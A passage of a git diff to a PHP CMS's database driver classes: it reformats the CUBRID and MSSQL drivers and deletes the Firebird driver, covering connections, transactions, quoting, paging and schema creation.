$list_count + * @return string select paging sql + */ + function getSelectPageSql($query, $with_values = TRUE, $start_count = 0, $list_count = 0) + { - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; + $select = $query->getSelectString($with_values); + if($select == '') + { + return new Object(-1, "Invalid query"); + } + $select = 'SELECT ' . $select; - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; + $from = $query->getFromString($with_values); + if($from == '') + { + return new Object(-1, "Invalid query"); + } + $from = ' FROM ' . $from; - $limit = $query->getLimitString(); - if ($limit != '') $limit = sprintf (' LIMIT %d, %d', $start_count, $list_count); + $where = $query->getWhereString($with_values); + if($where != '') + { + $where = ' WHERE ' . $where; + } + + $groupBy = $query->getGroupByString(); + if($groupBy != '') + { + $groupBy = ' GROUP BY ' . $groupBy; + } + + $orderBy = $query->getOrderByString(); + if($orderBy != '') + { + $orderBy = ' ORDER BY ' . $orderBy; + } + + $limit = $query->getLimitString(); + if($limit != '') + { + $limit = sprintf(' LIMIT %d, %d', $start_count, $list_count); + } + + return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; + } - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } } -?> +/* End of file DBCubrid.class.php */ +/* Location: ./classes/db/DBCubrid.class.php */ diff --git a/classes/db/DBFirebird.class.php b/classes/db/DBFirebird.class.php deleted file mode 100644 index b3c0bb4e8..000000000 --- a/classes/db/DBFirebird.class.php +++ /dev/null @@ -1,868 +0,0 @@ - 'BIGINT', - 'number' => 'INTEGER', - 'varchar' => 'VARCHAR', - 'char' => 'CHAR', - 'text' => 'BLOB SUB_TYPE TEXT SEGMENT SIZE 32', - 'bigtext' => 'BLOB SUB_TYPE TEXT SEGMENT SIZE 32', - 'date' => 'VARCHAR(14)', - 'float' => 'FLOAT', - ); - - /** - * @brief constructor - **/ - function DBFireBird() { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * @brief create an instance of this class - */ - function create() - { - return new DBFireBird; - } - - /** - * @brief Return if installable - **/ - function isSupported() { - if(!function_exists('ibase_connect')) return false; - return true; - } - - /** - * @brief DB Connection - **/ - function __connect($connection) { - //if(strpos($this->hostname, ':')===false && $this->port) $this->hostname .= ':'.$this->port; - // attempts to connect - $host = $connection["db_hostname"]."/".$connection["db_port"].":".$connection["db_database"]; - - $result = ibase_connect($host, $connection["db_userid"], $connection["db_password"]); - if(ibase_errmsg()) { - $this->setError(ibase_errcode(), ibase_errmsg()); - return; - } - // Error when Firebird version is lower than 2.0 - if (($service = ibase_service_attach($connection["db_hostname"], $connection["db_userid"], $connection["db_password"])) != FALSE) { - // get server version and implementation strings - $server_info = ibase_server_info($service, IBASE_SVC_SERVER_VERSION); - ibase_service_detach($service); - } - else { - $this->setError(ibase_errcode(), ibase_errmsg()); - ibase_close($result); - return; - } - - $pos = strpos($server_info, "Firebird"); - if($pos !== false) { - $ver = substr($server_info, $pos+strlen("Firebird")); - $ver = trim($ver); - } - - if($ver < "2.0") { - $this->setError(-1, "XE cannot be installed under the version of firebird 2.0. Current firebird version is ".$ver); - ibase_close($result); - return; - } - return $result; - } - - /** - * @brief DB disconnect - **/ - function _close($connection) { - ibase_commit($connection); - ibase_close($connection); - } - - /** - * @brief handles quatation of the string variables from the query - **/ - function addQuotes($string) { - if(get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - if(!is_numeric($string)) $string = str_replace("'","''", $string); - return $string; - } - - /** - * @brief put double quotes for tabls, column names in the query statement - **/ - function addDoubleQuotes($string) { - if($string == "*") return $string; - - if(strpos($string, "'")!==false) { - $string = str_replace("'", "\"", $string); - } - else if(strpos($string, "\"")!==false) { - } - else { - $string = "\"".$string."\""; - } - - return $string; - } - - /** - * @brief put double quotes for tabls, column names in the query statement - **/ - function autoQuotes($string){ - $string = strtolower($string); - // for substr function - if(strpos($string, "substr(") !== false) { - $tokken = strtok($string, "(,)"); - $tokken = strtok("(,)"); - while($tokken) { - $tokkens[] = $tokken; - $tokken = strtok("(,)"); - } - - if(count($tokkens) !== 3) return $string; - return sprintf("substring(%s from %s for %s)", $this->addDoubleQuotes($tokkens[0]), $tokkens[1], $tokkens[2]); - } - - // as - $as = false; - if(($no1 = strpos($string," as ")) !== false) { - $as = substr($string, $no1, strlen($string)-$no1); - $string = substr($string, 0, $no1); - - $as = str_replace(" as ", "", $as); - $as = trim($as); - $as = $this->addDoubleQuotes($as); - } - // for functions - $tmpFunc1 = null; - $tmpFunc2 = null; - if(($no1 = strpos($string,'('))!==false && ($no2 = strpos($string, ')'))!==false) { - $tmpFunc1 = substr($string, 0, $no1+1); - $tmpFunc2 = substr($string, $no2, strlen($string)-$no2+1); - $string = trim(substr($string, $no1+1, $no2-$no1-1)); - } - // for (table.column) structure - preg_match("/((?i)[a-z0-9_-]+)[.]((?i)[a-z0-9_\-\*]+)/", $string, $matches); - - if($matches) { - $string = $this->addDoubleQuotes($matches[1]).".".$this->addDoubleQuotes($matches[2]); - } - else { - $string = $this->addDoubleQuotes($string); - } - - if($tmpFunc1 != null) $string = $tmpFunc1.$string; - if($tmpFunc2 != null) $string = $string.$tmpFunc2; - - if($as !== false) $string = $string." as ".$as; - return $string; - } - - function autoValueQuotes($string, $tables){ - $tok = strtok($string, ","); - while($tok !== false) { - $values[] = $tok; - $tok = strtok(","); - } - - foreach($values as $val1) { - // for (table.column) structure - preg_match("/((?i)[a-z0-9_-]+)[.]((?i)[a-z0-9_\-\*]+)/", $val1, $matches); - if($matches) { - $isTable = false; - - foreach($tables as $key2 => $val2) { - if($key2 == $matches[1]) $isTable = true; - if($val2 == $matches[1]) $isTable = true; - } - - if($isTable) { - $return[] = $this->addDoubleQuotes($matches[1]).".".$this->addDoubleQuotes($matches[2]); - } - else { - $return[] = $val1; - } - } - else if(!is_numeric($val1)) { - if(strpos($val1, "'") !== 0) - $return[] = "'".$val1."'"; - else - $return[] = $val1; - } - else { - $return[] = $val1; - } - } - - return implode(",", $return); - } - - /** - * @brief Begin transaction - **/ - function _begin() { - return true; - } - - /** - * @brief Rollback - **/ - function _rollback() { - $connection = $this->_getConnection('master'); - ibase_rollback($connection); - return true; - } - - /** - * @brief Commits - **/ - function _commit() { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - return true; - } - - /** - * @brief : Run a query and fetch the result - * - * query: run a query and return the result\n - * fetch: NULL if no value returned \n - * array object if rows returned \n - * object if a row returned \n - * return\n - **/ - function __query($query, $connection, $params = null) { - if(count($params) == 0) { - // Execute the query statement - $result = ibase_query($connection, $query); - } - else { - // Execute the query(for blob type) - $query = ibase_prepare($connection, $query); - //$fnarr = array_merge(array($query), $params); - $result = ibase_execute($query); - } - // Error Check - if(ibase_errmsg()) $this->setError(ibase_errcode(), ibase_errmsg()); - - return $result; - } - - function _queryInsertUpdateDeleteSelect($query, $params=null, $connection) { - if(!$connection) return; - - if(count($params) == 0) { - // Notify to start a query execution - $this->actStart($query); - // Execute the query statement - $trans = ibase_trans(IBASE_DEFAULT,$connection); - $result = ibase_query($trans, $query); - ibase_commit($trans); - unset($trans); - } - else { - // Notify to start a query execution - $log = $query."\n\t\t\t"; - $log .= implode(",", $params); - $this->actStart($log); - // Execute the query(for blob type) - $query = ibase_prepare($connection, $query); - //$fnarr = array_merge(array($query), $params); - $result = ibase_execute($query); - } - // Error Check - if(ibase_errmsg()) $this->setError(ibase_errcode(), ibase_errmsg()); - // Notify to complete a query execution - $this->actFinish(); - // Return the result - return $result; - } - - function getTableInfo($result){ - $coln = ibase_num_fields($result); - $column_type = array(); - for ($i = 0; $i < $coln; $i++) { - $col_info = ibase_field_info($result, $i); - if($col_info['name'] === "") $column_type[$col_info['alias']] = $col_info['type']; - else $column_type[$col_info['name']] = $col_info['type']; - } - return $column_type; - } - /** - * @brief Fetch the result - **/ - function _fetch($result, $output = null) { - if(!$this->isConnected() || $this->isError() || !$result) return; - $output->column_type = $this->getTableInfo($result); - - while($tmp = ibase_fetch_object($result)) { - foreach($tmp as $key => $val) { - $type = $output->column_type[$key]; - // type value is null when $key is an alias. so get a type by finding actual coloumn name - if($type == null && $output->columns && count($output->columns)) { - foreach($output->columns as $cols) { - if($cols['alias'] == $key) { - // checks if the format is table.column or a regular expression - preg_match("/\w+[.](\w+)/", $cols['name'], $matches); - if($matches) { - $type = $output->column_type[$matches[1]]; - } - else { - $type = $output->column_type[$cols['name']]; - } - } - } - } - - if(($type == "text" || $type == "bigtext" || $type == "BLOB") && $tmp->{$key}) { - $blob_data = ibase_blob_info($tmp->{$key}); - $blob_hndl = ibase_blob_open($tmp->{$key}); - - if($blob_data[1] === 1) { - $tmp->{$key} = ibase_blob_get($blob_hndl, $blob_data[0]); - } else { - for ($i = 0; $i < $blob_data[1]; $i++) { - $readsize = $blob_data[2]; - if ($i == ($blob_data[1] - 1)) { - $readsize = $blob_data[0] - (($blob_data[1] - 1) * $blob_data[2]); - } - $totalimage .= ibase_blob_get($blob_hndl, $readsize); - } - } - - ibase_blob_close($blob_hndl); - } - else if($type == "CHAR") { - $tmp->{$key} = trim($tmp->{$key}); // remove blanks generated when DB character set is UTF8 - } - } - - $return[] = $tmp; - } - - if(count($return)==1) return $return[0]; - return $return; - } - - /** - * @brief return sequence value incremented by 1(increase the value of the generator in firebird) - **/ - function getNextSequence() { - //$gen = "GEN_".$this->prefix."sequence_ID"; - $gen = 'GEN_XE_SEQUENCE_ID'; - $sequence = ibase_gen_id($gen, 1); - return $sequence; - } - - /** - * @brief returns if the table already exists - **/ - function isTableExists($target_name) { - $query = sprintf("select rdb\$relation_name from rdb\$relations where rdb\$system_flag=0 and rdb\$relation_name = '%s%s';", $this->prefix, $target_name); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - $connection = $this->_getConnection('master'); - if(!$tmp) { - if(!$this->transaction_started) ibase_rollback($connection); - return false; - } - if(!$this->transaction_started) ibase_commit($connection); - return true; - } - - /** - * @brief add a column to the table - **/ - function addColumn($table_name, $column_name, $type='number', $size='', $default = '', $notnull=false) { - $type = $this->column_type[$type]; - if(strtoupper($type)=='INTEGER') $size = null; - else if(strtoupper($type)=='BIGINT') $size = null; - else if(strtoupper($type)=='BLOB SUB_TYPE TEXT SEGMENT SIZE 32') $size = null; - else if(strtoupper($type)=='VARCHAR' && !$size) $size = 256; - - $query = sprintf("ALTER TABLE \"%s%s\" ADD \"%s\" ", $this->prefix, $table_name, $column_name); - if($size) $query .= sprintf(" %s(%s) ", $type, $size); - else $query .= sprintf(" %s ", $type); - if(!is_null($default)) $query .= sprintf(" DEFAULT '%s' ", $default); - if($notnull) $query .= " NOT NULL "; - - $this->_query($query); - - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - } - - /** - * @brief drop a column from the table - **/ - function dropColumn($table_name, $column_name) { - $query = sprintf("alter table %s%s drop %s ", $this->prefix, $table_name, $column_name); - $this->_query($query); - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - - } - - - /** - * @brief return column information of the table - **/ - function isColumnExists($table_name, $column_name) { - $query = sprintf("SELECT RDB\$FIELD_NAME as \"FIELD\" FROM RDB\$RELATION_FIELDS WHERE RDB\$RELATION_NAME = '%s%s'", $this->prefix, $table_name); - $result = $this->_query($query); - $connection = $this->_getConnection('master'); - - if($this->isError()) { - if(!$this->transaction_started) ibase_rollback($connection); - return false; - } - - $output = $this->_fetch($result); - if(!$this->transaction_started) ibase_commit($connection); - - if($output) { - $column_name = strtolower($column_name); - foreach($output as $key => $val) { - $name = trim(strtolower($val->FIELD)); - if($column_name == $name) return true; - } - } - return false; - } - - /** - * @brief add an index to the table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - **/ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) { - // index name size should be limited to 31 byte. no index name assigned - // if index name omitted, Firebird automatically assign its name like "RDB $10" - // deletes indexes when deleting the table - if(!is_array($target_columns)) $target_columns = array($target_columns); - - $query = sprintf('CREATE %s INDEX "" ON "%s%s" ("%s");', $is_unique?'UNIQUE':'', $this->prefix, $table_name, implode('", "',$target_columns)); - $this->_query($query); - - $connection = $this->_getConnection('master'); - if(!$this->transaction_started) ibase_commit($connection); - } - - /** - * @brief drop an index from the table - **/ - function dropIndex($table_name, $index_name, $is_unique = false) { - $query = sprintf('DROP INDEX "%s" ON "%s%s"', $index_name, $this->prefix, $table_name); - $this->_query($query); - - $connection = $this->_getConnection('master'); - if(!$this->transaction_started) ibase_commit($connection); - } - - - /** - * @brief return index information of the table - **/ - function isIndexExists($table_name, $index_name) { - $query = "SELECT\n"; - $query .= " RDB\$INDICES.rdb\$index_name AS Key_name\n"; - $query .= "FROM\n"; - $query .= " RDB\$INDICES, rdb\$index_segments\n"; - $query .= "WHERE\n"; - $query .= " RDB\$INDICES.rdb\$index_name = rdb\$index_segments.rdb\$index_name AND\n"; - $query .= " RDB\$INDICES.rdb\$relation_name = '"; - $query .= $this->prefix; - $query .= $table_name; - $query .= "' AND\n"; - $query .= " RDB\$INDICES.rdb\$index_name = '"; - $query .= $index_name; - $query .= "'"; - - $result = $this->_query($query); - if($this->isError()) return; - $output = $this->_fetch($result); - - if(!$output) { - $connection = $this->_getConnection('master'); - if(!$this->transaction_started) ibase_rollback($connection); - return false; - } - - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - - if(!is_array($output)) $output = array($output); - for($i=0;$iKEY_NAME) == $index_name) return true; - } - - return false; - } - - /** - * @brief creates a table by using xml file - **/ - function createTableByXml($xml_doc) { - return $this->_createTable($xml_doc); - } - - /** - * @brief creates a table by using xml file - **/ - function createTableByXmlFile($file_name) { - if(!file_exists($file_name)) return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } - - /** - * @brief create table by using the schema xml - * - * type : number, varchar, text, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - **/ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - $table_name = $this->prefix.$table_name; - - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; - - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; - - if($this->column_type[$type]=='INTEGER') $size = null; - else if($this->column_type[$type]=='BIGINT') $size = null; - else if($this->column_type[$type]=='BLOB SUB_TYPE TEXT SEGMENT SIZE 32') $size = null; - else if($this->column_type[$type]=='VARCHAR' && !$size) $size = 256; - - $column_schema[] = sprintf('"%s" %s%s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - is_null($default)?"":"DEFAULT '".$default."'", - $notnull?'NOT NULL':''); - - if($auto_increment) $auto_increment_list[] = $name; - - if($primary_key) $primary_list[] = $name; - else if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } - - if(count($primary_list)) { - $column_schema[] = sprintf("PRIMARY KEY(\"%s\")%s", implode("\",\"", $primary_list), "\n"); - } - - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $column_schema[] = sprintf("UNIQUE(\"%s\")%s", implode("\",\"", $val), "\n"); - } - } - - $schema = sprintf("CREATE TABLE \"%s\" (%s%s); \n", $table_name, "\n", implode($column_schema, ",\n")); - - $output = $this->_query($schema); - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - if(!$output) return false; - - if(count($index_list)) { - foreach($index_list as $key => $val) { - // index name size should be limited to 31 byte. no index name assigned - // if index name omitted, Firebird automatically assign its name like "RDB $10" - // deletes indexes when deleting the table - $schema = sprintf("CREATE INDEX \"\" ON \"%s\" (\"%s\");", - $table_name, implode($val, "\",\"")); - $output = $this->_query($schema); - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - if(!$output) return false; - } - } - - if($_GLOBALS['XE_EXISTS_SEQUENCE']) return; - $schema = 'CREATE GENERATOR GEN_XE_SEQUENCE_ID;'; - $output = $this->_query($schema); - if(!$this->transaction_started) { - $connection = $this->_getConnection('master'); - ibase_commit($connection); - } - if(!$output) return false; - $_GLOBALS['XE_EXISTS_SEQUENCE'] = true; - /*if($auto_increment_list) - foreach($auto_increment_list as $increment) { - $schema = sprintf('CREATE GENERATOR GEN_%s_ID;', $table_name); - $output = $this->_query($schema); - if(!$this->transaction_started) ibase_commit($this->fd); - if(!$output) return false;*/ - // auto_increment in Firebird creates a generator which activates a trigger when insert occurs - // the generator increases the value of the generator and then insert to the table - // The trigger below acts like auto_increment however I commented the below because the trigger cannot be defined by a query statement - // php api has a function to increase a generator, so - // no need to use auto increment in XE - /* - $schema = 'SET TERM ^ ; '; - $schema .= sprintf('CREATE TRIGGER "%s_BI" FOR "%s" ', $table_name, $table_name); - $schema .= 'ACTIVE BEFORE INSERT POSITION 0 '; - $schema .= sprintf('AS BEGIN IF (NEW."%s" IS NULL) THEN ', $increment); - $schema .= sprintf('NEW."%s" = GEN_ID("GEN_%s_ID",1);', $increment, $table_name); - $schema .= 'END^ SET TERM ; ^'; - - $output = $this->_query($schema); - if(!$output) return false; - */ - //} - } - - - /** - * @brief Handle the insertAct - **/ - function _executeInsertAct($queryObject) { - $query = $this->getInsertSql($queryObject); - if(is_a($query, 'Object')) return; - return $this->_queryInsertUpdateDeleteSelect($query); - } - - /** - * @brief handles updateAct - **/ - function _executeUpdateAct($queryObject) { - $query = $this->getUpdateSql($queryObject); - if(is_a($query, 'Object')) return; - return $this->_queryInsertUpdateDeleteSelect($query); - } - - /** - * @brief handles deleteAct - **/ - function _executeDeleteAct($queryObject) { - $query = $this->getDeleteSql($queryObject); - if(is_a($query, 'Object')) return; - return $this->_queryInsertUpdateDeleteSelect($query); - } - - /** - * @brief Handle selectAct - * - * In order to get a list of pages easily when selecting \n - * it supports a method as navigation - **/ - function _executeSelectAct($queryObject, $connection) { - $query = $this->getSelectSql($queryObject); - if(strpos($query, "substr")) { - $query = str_replace ("substr", "substring", $query); - $query = $this->replaceSubstrFormat($query); - } - if(is_a($query, 'Object')) return; - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf(' '.$this->comment_syntax,$this->query_id):''; - $result = $this->_queryInsertUpdateDeleteSelect ($query, null, $connection); - - if ($this->isError ()) return $this->queryError($queryObject); - else return $this->queryPageLimit($queryObject, $result, $connection); - } - - function queryError($queryObject) { - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) { - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array(); - $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values - }else - return; - } - - function queryPageLimit($queryObject, $result, $connection) { - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) { - // Total count - $temp_where = $queryObject->getWhereString(true, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); - if ($queryObject->getGroupByString() != '') { - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } - - $count_query .= ( __DEBUG_QUERY__ & 1 && $output->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - $result_count = $this->_query($count_query, null, $connection); - $count_output = $this->_fetch($result_count); - $total_count = (int) $count_output->count; - - $list_count = $limit->list_count->getValue(); - if (!$list_count) $list_count = 20; - $page_count = $limit->page_count->getValue(); - if (!$page_count) $page_count = 10; - $page = $limit->page->getValue(); - if (!$page) $page = 1; - // Total pages - if ($total_count) $total_page = (int) (($total_count - 1) / $list_count) + 1; - else $total_page = 1; - - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } - $start_count = ($page-1)*$list_count; - - $query = $this->getSelectSql($queryObject, true, $start_count); - if(strpos($query, "substr")) { - $query = str_replace ("substr", "substring", $query); - $query = $this->replaceSubstrFormat($query); - } - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - $result = $this->_query ($query, null, $connection); - if ($this->isError ()) - return $this->queryError($queryObject); - - $virtual_no = $total_count - ($page - 1) * $list_count; - while ($tmp = ibase_fetch_object($result)) - $data[$virtual_no--] = $tmp; - - if (!$this->transaction_started) - ibase_commit($connection); - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = $data; - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - }else { - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; - } - return $buff; - } - - function getParser() { - return new DBParser('"', '"', $this->prefix); - } - - function getSelectSql($query, $with_values = true, $start_count = 0) { - $limit = $query->getLimit(); - if ($limit && $limit->isPageHandler()) { - $list_count = $limit->list_count->getValue(); - if(!$limit->page) $page = 1; - else $page = $limit->page->getValue(); - if(!$start_count) - $start_count = ($page - 1) * $list_count; - $limit = sprintf('SELECT FIRST %d SKIP %d ', $list_count, $start_count); - } - - $select = $query->getSelectString($with_values); - - if ($select == '') - return new Object(-1, "Invalid query"); - - if ($limit && $limit->isPageHandler()) - $select = $limit . ' ' . $select; - else - $select = 'SELECT ' . $select; - $from = $query->getFromString($with_values); - if ($from == '') - return new Object(-1, "Invalid query"); - $from = ' FROM ' . $from; - - $where = $query->getWhereString($with_values); - if ($where != '') - $where = ' WHERE ' . $where; - - $groupBy = $query->getGroupByString(); - if ($groupBy != '') - $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if ($orderBy != '') - $orderBy = ' ORDER BY ' . $orderBy; - - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy; - } - - function getDeleteSql($query, $with_values = true){ - $sql = 'DELETE '; - - $from = $query->getFromString($with_values); - if($from == '') return new Object(-1, "Invalid query"); - - $sql .= ' FROM '.$from; - - $where = $query->getWhereString($with_values); - if($where != '') $sql .= ' WHERE ' . $where; - - return $sql; - } - - function replaceSubstrFormat($queryString){ - //replacing substr("string",number,number) with substr("string" from number for number) - $pattern = '/substring\("(\w+)",(\d+),(\d+)\)/i'; - $replacement = 'substring("${1}" from $2 for $3)'; - - return preg_replace($pattern, $replacement, $queryString); - } - -} -?> diff --git a/classes/db/DBMssql.class.php b/classes/db/DBMssql.class.php index 6a6b85414..9f9e6d13a 100644 --- a/classes/db/DBMssql.class.php +++ b/classes/db/DBMssql.class.php @@ -1,734 +1,994 @@ 'bigint', + 'number' => 'int', + 'varchar' => 'varchar', + 'char' => 'char', + 'text' => 'text', + 'bigtext' => 'text', + 'date' => 'varchar(14)', + 'float' => 'float', + ); - /** - * prefix of XE tables(One more XE can be installed on a single DB) - * @var string - */ - var $prefix = 'xe'; - var $param = array(); - var $comment_syntax = '/* %s */'; + /** + * Constructor + * @return void + */ + function DBMssql() + { + $this->_setDBInfo(); + $this->_connect(); + } - /** - * column type used in mssql - * - * column_type should be replaced for each DBMS's type - * becasue it uses commonly defined type in the schema/query xml - * @var array - */ - var $column_type = array( - 'bignumber' => 'bigint', - 'number' => 'int', - 'varchar' => 'varchar', - 'char' => 'char', - 'text' => 'text', - 'bigtext' => 'text', - 'date' => 'varchar(14)', - 'float' => 'float', - ); + /** + * Create an instance of this class + * @return DBMssql return DBMssql object instance + */ + function create() + { + return new DBMssql; + } - /** - * Constructor - * @return void - */ - function DBMssql() { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * Create an instance of this class - * @return DBMssql return DBMssql object instance - */ - function create() + /** + * Return if supportable + * Check 'sqlsrv' extension loaded. + * @return boolean + */ + function isSupported() + { + if(!extension_loaded("sqlsrv")) { - return new DBMssql; + return false; } + return true; + } - /** - * Return if supportable - * Check 'sqlsrv' extension loaded. - * @return boolean - */ - function isSupported() { - if (!extension_loaded("sqlsrv")) return false; - return true; - } + /** + * DB Connect + * this method is private + * @param array $connection connection's value is db_hostname, db_database, db_userid, db_password + * @return resource + */ + function __connect($connection) + { + //sqlsrv_configure( 'WarningsReturnAsErrors', 0 ); + //sqlsrv_configure( 'LogSeverity', SQLSRV_LOG_SEVERITY_ALL ); + //sqlsrv_configure( 'LogSubsystems', SQLSRV_LOG_SYSTEM_ALL ); + $result = @sqlsrv_connect($connection["db_hostname"], array('Database' => $connection["db_database"], 'UID' => $connection["db_userid"], 'PWD' => $connection["db_password"])); - /** - * DB Connect - * this method is private - * @param array $connection connection's value is db_hostname, db_database, db_userid, db_password - * @return resource - */ - function __connect($connection) { - //sqlsrv_configure( 'WarningsReturnAsErrors', 0 ); - //sqlsrv_configure( 'LogSeverity', SQLSRV_LOG_SEVERITY_ALL ); - //sqlsrv_configure( 'LogSubsystems', SQLSRV_LOG_SYSTEM_ALL ); - $result = @sqlsrv_connect($connection["db_hostname"], array('Database' => $connection["db_database"], 'UID' => $connection["db_userid"], 'PWD' => $connection["db_password"])); + if(!$result) + { + $errors = print_r(sqlsrv_errors(), true); + $this->setError(-1, 'database connect fail' . PHP_EOL . $errors); + return; + } + return $result; + } - if(!$result) - { - $errors = print_r(sqlsrv_errors(), true); - $this->setError (-1, 'database connect fail' . PHP_EOL . $errors); - return; - } - return $result; - } + /** + * DB disconnection + * this method is private + * @param resource $connection + * @return void + */ + function _close($connection) + { + $this->commit(); + sqlsrv_close($connection); + } - /** - * DB disconnection - * this method is private - * @param resource $connection - * @return void - */ - function _close($connection) { - $this->commit(); - sqlsrv_close($connection); - } + /** + * Handles quatation of the string variables from the query + * @todo See what to do about this + * @param string $string + * @return string + */ + function addQuotes($string) + { + if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) + { + $string = stripslashes(str_replace("\\", "\\\\", $string)); + } + //if(!is_numeric($string)) $string = str_replace("'","''",$string); - /** - * Handles quatation of the string variables from the query - * @todo See what to do about this - * @param string $string - * @return string - */ - function addQuotes($string) { - if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - //if(!is_numeric($string)) $string = str_replace("'","''",$string); + return $string; + } - return $string; - } + /** + * DB transaction start + * this method is private + * @return boolean + */ + function _begin($transactionLevel) + { + $connection = $this->_getConnection('master'); - /** - * DB transaction start - * this method is private - * @return boolean - */ - function _begin() { - $connection = $this->_getConnection('master'); - if(sqlsrv_begin_transaction($connection) === false) return; - return true; - } + if(!$transactionLevel) + { + if(sqlsrv_begin_transaction($connection) === false) + { + return; + } + } + else + { + $this->_query("SAVE TRANS SP" . $transactionLevel, $connection); + } + return true; + } - /** - * DB transaction rollback - * this method is private - * @return boolean - */ - function _rollback() { - $connection = $this->_getConnection('master'); - sqlsrv_rollback($connection); - return true; - } + /** + * DB transaction rollback + * this method is private + * @return boolean + */ + function _rollback($transactionLevel) + { + $connection = $this->_getConnection('master'); - /** - * DB transaction commit - * this method is private - * @return boolean - */ - function _commit() { - $connection = $this->_getConnection('master'); - sqlsrv_commit($connection); - return true; - } + $point = $transactionLevel - 1; - /** - * Execute the query - * this method is private - * @param string $query - * @param resource $connection - * @return resource|boolean Returns a statement resource on success and FALSE if an error occurred. - */ - function __query($query, $connection) { - $_param = array(); + if($point) + { + $this->_query("ROLLBACK TRANS SP" . $point, $connection); + } + else + { + sqlsrv_rollback($connection); + } + return true; + } - if(count($this->param)){ - foreach($this->param as $k => $o){ - if($o->isColumnName()) continue; - if($o->getType() == 'number'){ - $value = $o->getUnescapedValue(); - if(is_array($value)) $_param = array_merge($_param, $value); - else $_param[] = $o->getUnescapedValue(); - }else{ - $value = $o->getUnescapedValue(); - if(is_array($value)) { - foreach($value as $v) - $_param[] = array($v, SQLSRV_PARAM_IN, SQLSRV_PHPTYPE_STRING('utf-8')); - } - else $_param[] = array($value, SQLSRV_PARAM_IN, SQLSRV_PHPTYPE_STRING('utf-8')); + /** + * DB transaction commit + * this method is private + * @return boolean + */ + function _commit() + { + $connection = $this->_getConnection('master'); + sqlsrv_commit($connection); + return true; + } + + /** + * Execute the query + * this method is private + * @param string $query + * @param resource $connection + * @return resource|boolean Returns a statement resource on success and FALSE if an error occurred. + */ + function __query($query, $connection) + { + $_param = array(); + + if(count($this->param)) + { + foreach($this->param as $k => $o) + { + if($o->isColumnName()) + { + continue; + } + if($o->getType() == 'number') + { + $value = $o->getUnescapedValue(); + if(is_array($value)) + { + $_param = array_merge($_param, $value); + } + else + { + $_param[] = $o->getUnescapedValue(); + } + } + else + { + $value = $o->getUnescapedValue(); + if(is_array($value)) + { + foreach($value as $v) + { + $_param[] = array($v, SQLSRV_PARAM_IN, SQLSRV_PHPTYPE_STRING('utf-8')); } - } - } - - // Run the query statement - $result = false; - if(count($_param)){ - $args = $this->_getParametersByReference($_param); - $stmt = sqlsrv_prepare($connection, $query, $args); - }else{ - $stmt = sqlsrv_prepare($connection, $query); + } + else + { + $_param[] = array($value, SQLSRV_PARAM_IN, SQLSRV_PHPTYPE_STRING('utf-8')); + } + } } - - if(!$stmt) - { - $result = false; - } - else - { - $result = sqlsrv_execute($stmt); - } - - // Error Check - if(!$result) - 